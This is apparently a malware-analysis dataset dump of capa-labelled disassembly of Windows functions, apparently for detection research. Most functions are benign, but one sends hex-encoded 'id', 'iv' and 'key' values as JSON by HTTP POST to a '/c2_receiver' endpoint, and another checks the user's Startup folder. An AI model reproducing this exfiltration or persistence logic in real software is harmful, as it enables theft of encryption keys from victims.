joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140063ca0
Capabilities:
Write file on windows

Disassembly:
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x40
mov rsi, rcx
mov r14, qword [rdx]
add dword [rcx], 2
mov rbx, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov ecx, 2
call rbx
lea rdx, [0x140089731]
lea r8, str.InitListExpr
mov rcx, rax
call fcn.14005b060
mov rdi, qword [r14 + 0x18]
movups xmm0, xmmword [r14 + 0x20]
movaps xmmword [rsp + 0x20], xmm0
mov ecx, 2
call rbx
mov ecx, 0xa
mov rdx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
cmp dword [rsi], 0
je 0x140063d1a
xor ebp, ebp
mov ecx, 2
call rbx
mov ecx, 0x20
mov rdx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
inc ebp
cmp ebp, dword [rsi]
jne 0x140063d00
mov byte [rsi + 4], 0
test rdi, rdi
je 0x140063d30
mov rcx, rdi
mov rdx, rsi
call fcn.14005dbc0
jmp 0x140063d55
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
lea rcx, str._null_
mov edx, 6
mov r8d, 1
mov r9, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov byte [rsi + 4], 1
movaps xmm0, xmmword [rsp + 0x20]
movaps xmmword [rsp + 0x30], xmm0
lea rdx, [rsp + 0x30]
mov rcx, rsi
call fcn.140060760
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov ecx, 0x29
mov rdx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add dword [rsi], 0xfffffffe
add rsp, 0x40
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret

Function at 0x140063eb0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov rsi, rcx
mov rdi, qword [rdx]
add dword [rcx], 2
mov rbx, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov ecx, 2
call rbx
lea rdx, [0x140089731]
lea r8, str.ThrowExpr
mov rcx, rax
call fcn.14005b060
mov rdi, qword [rdi + 0x18]
mov ecx, 2
call rbx
mov ecx, 0xa
mov rdx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
cmp dword [rsi], 0
je 0x140063f2a
xor ebp, ebp
nop word cs:[rax + rax]
mov ecx, 2
call rbx
mov ecx, 0x20
mov rdx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
inc ebp
cmp ebp, dword [rsi]
jne 0x140063f10
mov byte [rsi + 4], 0
test rdi, rdi
je 0x140063f40
mov rcx, rdi
mov rdx, rsi
call fcn.14005dbc0
jmp 0x140063f65
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
lea rcx, str._null_
mov edx, 6
mov r8d, 1
mov r9, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov byte [rsi + 4], 1
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov ecx, 0x29
mov rdx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add dword [rsi], 0xfffffffe
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
ret
Function at 0x140063f90
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov rsi, rcx
mov rdi, qword [rdx]
add dword [rcx], 2
mov rbx, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov ecx, 2
call rbx
lea rdx, [0x140089731]
lea r8, str.StringLiteral
mov rcx, rax
call fcn.14005b060
mov rdi, qword [rdi + 0x18]
mov ecx, 2
call rbx
mov ecx, 0xa
mov rdx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
cmp dword [rsi], 0
je 0x14006400a
xor ebp, ebp
nop word cs:[rax + rax]
mov ecx, 2
call rbx
mov ecx, 0x20
mov rdx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
inc ebp
cmp ebp, dword [rsi]
jne 0x140063ff0
mov byte [rsi + 4], 0
test rdi, rdi
je 0x140064020
mov rcx, rdi
mov rdx, rsi
call fcn.14005dbc0
jmp 0x140064045
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
lea rcx, str._null_
mov edx, 6
mov r8d, 1
mov r9, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov byte [rsi + 4], 1
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov ecx, 0x29
mov rdx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add dword [rsi], 0xfffffffe
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
ret

Function at 0x140064070
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov rsi, rcx
mov rdi, qword [rdx]
add dword [rcx], 2
mov rbx, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov ecx, 2
call rbx
lea rdx, [0x140089731]
lea r8, str.LambdaExpr
mov rcx, rax
call fcn.14005b060
mov rdi, qword [rdi + 0x18]
mov ecx, 2
call rbx
mov ecx, 0xa
mov rdx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
cmp dword [rsi], 0
je 0x1400640ea
xor ebp, ebp
nop word cs:[rax + rax]
mov ecx, 2
call rbx
mov ecx, 0x20
mov rdx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
inc ebp
cmp ebp, dword [rsi]
jne 0x1400640d0
mov byte [rsi + 4], 0
test rdi, rdi
je 0x140064100
mov rcx, rdi
mov rdx, rsi
call fcn.14005dbc0
jmp 0x140064125
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
lea rcx, str._null_
mov edx, 6
mov r8d, 1
mov r9, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov byte [rsi + 4], 1
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov ecx, 0x29
mov rdx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add dword [rsi], 0xfffffffe
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
ret
Function at 0x140064150
Capabilities:
Write file on windows

Disassembly:
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x40
mov rsi, rcx
mov r14, qword [rdx]
add dword [rcx], 2
mov rbx, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov ecx, 2
call rbx
lea rdx, [0x140089731]
lea r8, str.EnumLiteral
mov rcx, rax
call fcn.14005b060
mov rdi, qword [r14 + 0x18]
movups xmm0, xmmword [r14 + 0x20]
movaps xmmword [rsp + 0x20], xmm0
mov ecx, 2
call rbx
mov ecx, 0xa
mov rdx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
cmp dword [rsi], 0
je 0x1400641ca
xor ebp, ebp
mov ecx, 2
call rbx
mov ecx, 0x20
mov rdx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
inc ebp
cmp ebp, dword [rsi]
jne 0x1400641b0
mov byte [rsi + 4], 0
test rdi, rdi
je 0x1400641e0
mov rcx, rdi
mov rdx, rsi
call fcn.14005dbc0
jmp 0x140064205
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
lea rcx, str._null_
mov edx, 6
mov r8d, 1
mov r9, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov byte [rsi + 4], 1
movaps xmm0, xmmword [rsp + 0x20]
movaps xmmword [rsp + 0x30], xmm0
lea rdx, [rsp + 0x30]
mov rcx, rsi
call fcn.14005f6e0
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov ecx, 0x29
mov rdx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add dword [rsi], 0xfffffffe
add rsp, 0x40
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret

Function at 0x140064250
Capabilities:
Write file on windows

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov rsi, rcx
mov rbx, qword [rdx]
add dword [rcx], 2
mov r15, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov ecx, 2
call r15
lea rdx, [0x140089731]
lea r8, str.BracedExpr
mov rcx, rax
call fcn.14005b060
mov r14, qword [rbx + 0x18]
mov rdi, qword [rbx + 0x20]
movzx ebx, byte [rbx + 0x28]
mov ecx, 2
call r15
mov ecx, 0xa
mov rdx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
cmp dword [rsi], 0
je 0x1400642db
xor ebp, ebp
nop word cs:[rax + rax]
mov ecx, 2
call r15
mov ecx, 0x20
mov rdx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
inc ebp
cmp ebp, dword [rsi]
jne 0x1400642c0
mov byte [rsi + 4], 0
test r14, r14
je 0x1400642f1
mov rcx, r14
mov rdx, rsi
call fcn.14005dbc0
jmp 0x140064316
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
lea rcx, str._null_
mov edx, 6
mov r8d, 1
mov r9, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov byte [rsi + 4], 1
mov rcx, rsi
mov rdx, rdi
call fcn.14005f520
mov rcx, rsi
mov edx, ebx
call fcn.140061440
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov ecx, 0x29
mov rdx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add dword [rsi], 0xfffffffe
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
Function at 0x140064360
Capabilities:
Write file on windows

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov rsi, rcx
mov rdi, qword [rdx]
add dword [rcx], 2
mov r15, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov ecx, 2
call r15
lea rdx, [0x140089731]
lea r8, str.BracedRangeExpr
mov rcx, rax
call fcn.14005b060
mov r14, qword [rdi + 0x18]
mov rbx, qword [rdi + 0x20]
mov rdi, qword [rdi + 0x28]
mov ecx, 2
call r15
mov ecx, 0xa
mov rdx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
cmp dword [rsi], 0
je 0x1400643eb
xor ebp, ebp
nop word cs:[rax + rax]
mov ecx, 2
call r15
mov ecx, 0x20
mov rdx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
inc ebp
cmp ebp, dword [rsi]
jne 0x1400643d0
mov byte [rsi + 4], 0
test r14, r14
je 0x140064401
mov rcx, r14
mov rdx, rsi
call fcn.14005dbc0
jmp 0x140064426
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
lea rcx, str._null_
mov edx, 6
mov r8d, 1
mov r9, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov byte [rsi + 4], 1
mov rcx, rsi
mov rdx, rbx
call fcn.14005f520
mov rcx, rsi
mov rdx, rdi
call fcn.14005f520
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov ecx, 0x29
mov rdx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add dword [rsi], 0xfffffffe
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
Function at 0x1400010c0
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x1e0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
mov eax, dword [0x140003770]
xor r12d, r12d
vmovups xmm0, xmmword [str.Content_Type:_application_json]
mov dword [rsp + 0x58], eax
mov r15, r8
movzx eax, word [0x140003774]
mov r14, rdx
mov word [rsp + 0x5c], ax
mov rbp, rcx
movzx eax, byte [0x140003776]
mov edi, r12d
vmovups xmmword [rsp + 0x40], xmm0
vmovsd xmm0, qword [0x140003768]
mov byte [rsp + 0x5e], al
mov ebx, r12d
vmovsd qword [rsp + 0x50], xmm0
mov esi, 0x41
nop dword [rax + rax]
movzx r9d, byte [rdi + rbp]
lea rcx, [rsp + 0x90]
mov rdx, rsi
lea r8, str._02x
sub rdx, rbx
add rcx, rbx
call fcn.140001060
add rbx, 2
lea rdi, [rdi + 1]
cmp rbx, 0x40
jb 0x140001140
mov byte [rsp + 0xd0], r12b
mov rbp, r12
mov rbx, r12
mov edi, 0x21
movzx r9d, byte [r14 + rbp]
lea rcx, [rsp + 0x60]
mov rdx, rdi
lea r8, str._02x
sub rdx, rbx
add rcx, rbx
call fcn.140001060
add rbx, 2
lea rbp, [rbp + 1]
cmp rbx, 0x20
jb 0x140001183
lea rax, [rsp + 0x90]
mov byte [rsp + 0x80], r12b
mov qword [rsp + 0x28], rax
lea r8, str._id_:___s____iv_:___s____key_:___s_
lea rax, [rsp + 0x60]
mov ebx, 0xec
mov r9, r15
mov qword [rsp + 0x20], rax
mov edx, ebx
lea rcx, [rsp + 0xe0]
call fcn.140001060
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor r8d, r8d
lea rcx, str.TLD13Browser_12.0
xor edx, edx
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rsp + 0x38], r12
lea rdx, str.xmb.pythonanywhere.com
mov dword [rsp + 0x30], r12d
mov rcx, rax
mov dword [rsp + 0x28], 3
mov r8d, 0x1bb
xor r9d, r9d
mov qword [rsp + 0x20], r12
mov r14, rax
call qword [sym.imp.WININET.dll_InternetConnectA]
mov qword [rsp + 0x38], r12
lea r8, str._c2_receiver
mov dword [rsp + 0x30], 0x80800000
lea rdx, str.POST
mov qword [rsp + 0x28], r12
mov rcx, rax
xor r9d, r9d
mov qword [rsp + 0x20], r12
mov r15, rax
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov r8, 0xffffffffffffffff
mov rbp, rax
lea rax, [rsp + 0xe0]
mov rcx, r8
inc rcx
cmp byte [rax + rcx], r12b
jne 0x140001283
lea rax, [rsp + 0x40]
inc r8
cmp byte [rax + r8], r12b
jne 0x140001291
mov dword [rsp + 0x20], ecx
lea r9, [rsp + 0xe0]
mov rcx, rbp
lea rdx, [rsp + 0x40]
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rax, [rsp + 0x90]
nop word [rax + rax]
mov byte [rax], r12b
lea rax, [rax + 1]
sub rsi, 1
jne 0x1400012e0
lea rax, [rsp + 0x60]
mov byte [rax], r12b
lea rax, [rax + 1]
sub rdi, 1
jne 0x1400012f2
lea rax, [rsp + 0xe0]
nop word [rax + rax]
mov byte [rax], r12b
lea rax, [rax + 1]
sub rbx, 1
jne 0x140001310
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.1400020a0
add rsp, 0x1e0
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1400016c0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x140
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov rsi, rcx
lea rdi, str.C:Users_username_AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup
xor ebx, ebx
lea rcx, str.USERNAME
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov r8, qword [rdi]
lea rcx, [rsp + 0x20]
mov r9, rax
mov edx, 0x104
call fcn.140001060
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140001720
lea rdx, [rsp + 0x20]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x14000174b
inc ebx
add rdi, 8
cmp ebx, 3
jb 0x1400016f0
xor eax, eax
jmp 0x140001750
mov eax, 1
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.1400020a0
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140002994
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400029de
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400029de
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400029de
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400029de
cmp dword [rcx + 0x84], 0xe
jbe 0x1400029de
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400029e0
xor al, al
add rsp, 0x28
ret
Function at 0x6d3142d0
Capabilities:
Get storage device properties

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x108
lea rbx, [rsp + 0x70]
mov rdi, rdx
mov ebp, ecx
xor edx, edx
mov rcx, rdi
mov rsi, r8
call fcn.6d382ef8
mov rcx, rbx
mov r8d, ebp
lea rdx, str..PhysicalDrive_d
call qword [0x6d3a5628]
xor r9d, r9d
xor edx, edx
mov rcx, rbx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov r8d, 3
mov dword [rsp + 0x20], 3
call qword [0x6d3a5348]
cmp rax, 0xffffffffffffffff
mov rbx, rax
je 0x6d3143bc
lea r12, [0x6d39c240]
xor edx, edx
mov r8d, 0x2710
mov dword [rsp + 0x60], 0
lea r13, [rsp + 0x64]
mov qword [rsp + 0x64], 0
mov rcx, r12
mov dword [rsp + 0x6c], 0
call fcn.6d382ef8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x28], 0x2710
mov qword [rsp + 0x20], r12
mov r9d, 0xc
mov r8, r13
mov qword [rsp + 0x30], rax
mov edx, 0x2d1400
mov rcx, rbx
call qword [0x6d3a5360]
test eax, eax
jne 0x6d3143e4
mov rcx, rbx
call qword [0x6d3a5340]
cmp rsi, 0x13
jbe 0x6d314590
mov rdx, rdi
mov ecx, ebp
call fcn.6d313f20
add rsp, 0x108
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov eax, dword [0x6d39c258]
test eax, eax
je 0x6d3143b3
add rax, r12
mov r15, qword [0x6d3a5578]
mov r13d, 0x64
mov qword [rsp + 0x58], rax
mov r12, rax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x50], rax
mov r14, rax
test r13d, r13d
movzx edx, byte [r12]
je 0x6d3144c0
test dl, dl
je 0x6d3144c0
movsx ecx, dl
mov byte [rsp + 0x4e], dl
call r15
test eax, eax
je 0x6d314560
movzx edx, byte [rsp + 0x4e]
cmp dl, 0x39
jg 0x6d314540
sub edx, 0x30
movsx ecx, byte [r12 + 1]
shl edx, 4
mov byte [rsp + 0x4e], dl
mov byte [rsp + 0x4f], cl
call r15
test eax, eax
je 0x6d314560
movzx edx, byte [rsp + 0x4f]
cmp dl, 0x39
jg 0x6d314550
sub edx, 0x30
or dl, byte [rsp + 0x4e]
add r12, 2
movzx ecx, dl
mov byte [rsp + 0x4e], dl
call qword [0x6d3a5570]
test eax, eax
je 0x6d314560
movzx edx, byte [rsp + 0x4e]
cmp dl, 0x20
je 0x6d314416
sub r13d, 1
mov byte [r14], dl
add r14, 1
test r13d, r13d
movzx edx, byte [r12]
jne 0x6d314424
mov r8, qword [rsp + 0x50]
mov byte [r14], 0
mov edx, dword [r8]
add r8, 4
lea eax, [rdx - 0x1010101]
not edx
and eax, edx
and eax, 0x80808080
je 0x6d3144c9
mov edx, eax
shr edx, 0x10
test eax, 0x8080
cmove eax, edx
lea rdx, [r8 + 2]
mov ecx, eax
cmove r8, rdx
add cl, al
sbb r8, 3
sub r8, qword [rsp + 0x50]
cmp r8d, esi
mov r12d, r8d
jae 0x6d3143b3
mov rdx, qword [rsp + 0x50]
add r8, 1
mov rcx, rdi
call fcn.6d382f08
mov rcx, rbx
call qword [0x6d3a5340]
test r12d, r12d
je 0x6d3143bc
xor eax, eax
jmp 0x6d3143d0
and edx, 0xffffffdf
sub edx, 0x37
jmp 0x6d31444f
and edx, 0xffffffdf
sub edx, 0x37
jmp 0x6d31447c
mov rcx, qword [rsp + 0x58]
call fcn.6d382eb0
cmp eax, esi
mov r12d, eax
jae 0x6d3143b3
mov rdx, qword [rsp + 0x58]
lea r8, [rax + 1]
mov rcx, rdi
call fcn.6d382f08
jmp 0x6d314520
mov eax, 0xffffffff
jmp 0x6d3143d0
Function at 0x6d314670
Capabilities:
Get storage device properties

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
movsx eax, byte [rcx]
mov rbx, rdx
mov rsi, r8
cmp al, 0x2a
je 0x6d3146f1
cmp al, 0x2f
jne 0x6d314693
movsx eax, byte [rcx + 1]
add rcx, 1
test al, al
je 0x6d31478e
sub eax, 0x30
cmp eax, 9
jbe 0x6d3146bf
jmp 0x6d3146e1
lea r8d, [rdx - 0x30]
cmp r8d, 9
ja 0x6d3146e1
lea r8d, [rax + rax*4]
lea edx, [rdx + r8*2 - 0x30]
add eax, edx
cmp eax, 0x5a
jg 0x6d3146e1
add rcx, 1
movsx edx, byte [rcx]
test dl, dl
jne 0x6d3146a5
mov r8, rsi
mov rdx, rbx
mov ecx, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp fcn.6d3142d0
mov eax, 0xffffffff
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp r8, 5
jbe 0x6d314795
lea rdx, str.__d:
xor r8d, r8d
mov rcx, rbx
mov rbp, rbx
xor edi, edi
lea r12, str.__d:
call fcn.6d382ed8
mov edx, 3
jmp 0x6d314760
mov rcx, rbp
add edi, 1
call fcn.6d382eb0
cdqe
lea rdx, [rbp + rax]
sub rsi, rax
cmp edi, 0x59
lea rbp, [rdx + 1]
mov byte [rdx], 0x2c
jg 0x6d314778
cmp rsi, 5
jbe 0x6d314778
mov rdx, r12
mov r8d, edi
mov rcx, rbp
call fcn.6d382ed8
xor edx, edx
cmp edi, 9
setg dl
add edx, 3
movsxd rdx, edx
mov ecx, edi
sub rsi, rdx
add rdx, rbp
mov r8, rsi
call fcn.6d3142d0
cmp eax, 0xffffffff
jne 0x6d314720
cmp rbx, rbp
jae 0x6d314795
xor eax, eax
mov byte [rbp - 1], 0
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
xor eax, eax
jmp 0x6d3146ca
lea r8, str.No_any_serial_number_of_harddisk_got
lea rcx, str..._src_platforms_windows_hdinfo.c
mov edx, 0x23e
call fcn.6d304290
mov eax, 0xffffffff
jmp 0x6d3146e6
Function at 0x6d31a1d0
Capabilities:
Hash data with md5

Disassembly:
sub rsp, 0x28
test rcx, rcx
je 0x6d31a20a
xor eax, eax
mov dword [rcx + 8], 0x67452301
mov dword [rcx + 0xc], 0xefcdab89
mov dword [rcx + 0x10], 0x98badcfe
mov dword [rcx + 0x14], 0x10325476
mov dword [rcx + 0x18], 0
mov qword [rcx], 0
add rsp, 0x28
ret
lea rdx, str.src_hashes_md5.c
lea rcx, [0x6d38f411]
mov r8d, 0xe9
call fcn.6d31f170
nop
nop
nop word cs:[rax + rax]
Function at 0x6d31a230
Capabilities:
Hash data with md5

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
test rcx, rcx
mov rbx, rcx
mov rsi, rdx
je 0x6d31a440
test rdx, rdx
je 0x6d31a459
mov edx, dword [rcx + 0x18]
mov eax, 0x10
cmp edx, 0x3f
jbe 0x6d31a264
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
lea r8d, [rdx*8]
add r8, qword [rcx]
mov eax, edx
mov qword [rcx], r8
lea ecx, [rdx + 1]
cmp ecx, 0x38
mov dword [rbx + 0x18], ecx
mov byte [rbx + rax + 0x1c], pe_nt_image_headers64
ja 0x6d31a3c0
cmp ecx, 0x38
lea rdi, [rbx + 0x1c]
je 0x6d31a389
mov edx, ecx
lea r9d, [rcx + 1]
mov eax, ecx
not edx
mov byte [rbx + rax + 0x1c], 0
and edx, 7
cmp r9d, 0x38
je 0x6d31a382
test edx, edx
je 0x6d31a32d
cmp edx, 1
je 0x6d31a31b
cmp edx, 2
je 0x6d31a30f
cmp edx, 3
je 0x6d31a303
cmp edx, 4
je 0x6d31a2f6
cmp edx, 5
je 0x6d31a2e9
cmp edx, 6
je 0x6d31a2dd
mov byte [rbx + r9 + 0x1c], 0
lea r9d, [rcx + 2]
mov ecx, r9d
add r9d, 1
mov byte [rbx + rcx + 0x1c], 0
mov r10d, r9d
add r9d, 1
mov byte [rbx + r10 + 0x1c], 0
mov r11d, r9d
add r9d, 1
mov byte [rbx + r11 + 0x1c], 0
mov edx, r9d
add r9d, 1
mov byte [rbx + rdx + 0x1c], 0
mov eax, r9d
add r9d, 1
mov byte [rbx + rax + 0x1c], 0
mov ecx, r9d
add r9d, 1
cmp r9d, 0x38
mov byte [rbx + rcx + 0x1c], 0
je 0x6d31a382
lea r11d, [r9 + 1]
lea edx, [r9 + 2]
mov r10d, r9d
mov byte [rbx + r10 + 0x1c], 0
lea eax, [r9 + 3]
lea ecx, [r9 + 4]
mov byte [rbx + r11 + 0x1c], 0
lea r10d, [r9 + 5]
mov byte [rbx + rdx + 0x1c], 0
lea r11d, [r9 + 6]
lea edx, [r9 + 7]
add r9d, 8
cmp r9d, 0x38
mov byte [rbx + rax + 0x1c], 0
mov byte [rbx + rcx + 0x1c], 0
mov byte [rbx + r10 + 0x1c], 0
mov byte [rbx + r11 + 0x1c], 0
mov byte [rbx + rdx + 0x1c], 0
jne 0x6d31a32d
mov dword [rbx + 0x18], 0x38
mov qword [rbx + 0x54], r8
mov rdx, rdi
mov rcx, rbx
call fcn.6d319990
mov r9d, dword [rbx + 8]
xor eax, eax
mov dword [rsi], r9d
mov edi, dword [rbx + 0xc]
mov dword [rsi + 4], edi
mov r8d, dword [rbx + 0x10]
mov dword [rsi + 8], r8d
mov ebx, dword [rbx + 0x14]
mov dword [rsi + 0xc], ebx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
cmp ecx, 0x40
je 0x6d31a427
lea edi, [rdx + 2]
mov byte [rbx + rcx + 0x1c], 0
cmp edi, 0x40
je 0x6d31a420
lea r8d, [rdx + 3]
mov byte [rbx + rdi + 0x1c], 0
cmp r8d, 0x40
je 0x6d31a420
lea r9d, [rdx + 4]
mov byte [rbx + r8 + 0x1c], 0
cmp r9d, 0x40
je 0x6d31a420
lea r10d, [rdx + 5]
mov byte [rbx + r9 + 0x1c], 0
cmp r10d, 0x40
je 0x6d31a420
lea r11d, [rdx + 6]
mov byte [rbx + r10 + 0x1c], 0
cmp r11d, 0x40
je 0x6d31a420
cmp edx, 0x38
mov byte [rbx + r11 + 0x1c], 0
jne 0x6d31a420
mov byte [rbx + 0x5b], 0
mov dword [rbx + 0x18], 0x40
lea rdi, [rbx + 0x1c]
mov rcx, rbx
mov rdx, rdi
call fcn.6d319990
mov r8, qword [rbx]
xor ecx, ecx
jmp 0x6d31a295
lea rdx, str.src_hashes_md5.c
lea rcx, [0x6d38f411]
mov r8d, 0x106
call fcn.6d31f170
lea rdx, str.src_hashes_md5.c
lea rcx, [0x6d38f41c]
mov r8d, 0x107
call fcn.6d31f170
nop
nop dword [rax]
nop word cs:[rax + rax]
Function at 0x6d3625b0
Capabilities:
Check for software breakpoints

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
test r8d, r8d
mov rbp, rcx
je 0x6d3625f0
mov rcx, qword [rdx + 0x10]
cmp dword [rcx + 8], 0xcd
je 0x6d3625e2
test byte [rcx + 0xd], 0x10
jne 0x6d3625e2
cmp qword [rdx + 0x28], 0
jne 0x6d3625e2
cmp qword [rcx + 0x28], rdx
je 0x6d3625f3
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, rdx
mov rsi, qword [rdx + 0x18]
mov rbx, qword [rcx]
mov rdi, qword [rdx + 0x20]
and esi, 0x7fff
test rbx, rbx
je 0x6d3625e2
mov edx, dword [rbx + 8]
movsxd r12, esi
cmp edx, 0x5c
je 0x6d362673
ja 0x6d362690
lea eax, [rdx - 7]
cmp eax, 1
jbe 0x6d3625e2
mov rcx, rbp
call fcn.6d3621a0
test al, 4
jne 0x6d3625e2
mov edx, eax
and edx, 3
cmp edx, 3
je 0x6d362710
mov edx, eax
and edx, 0x300
cmp edx, 0x300
je 0x6d362740
and eax, 0x30000
mov rcx, rbx
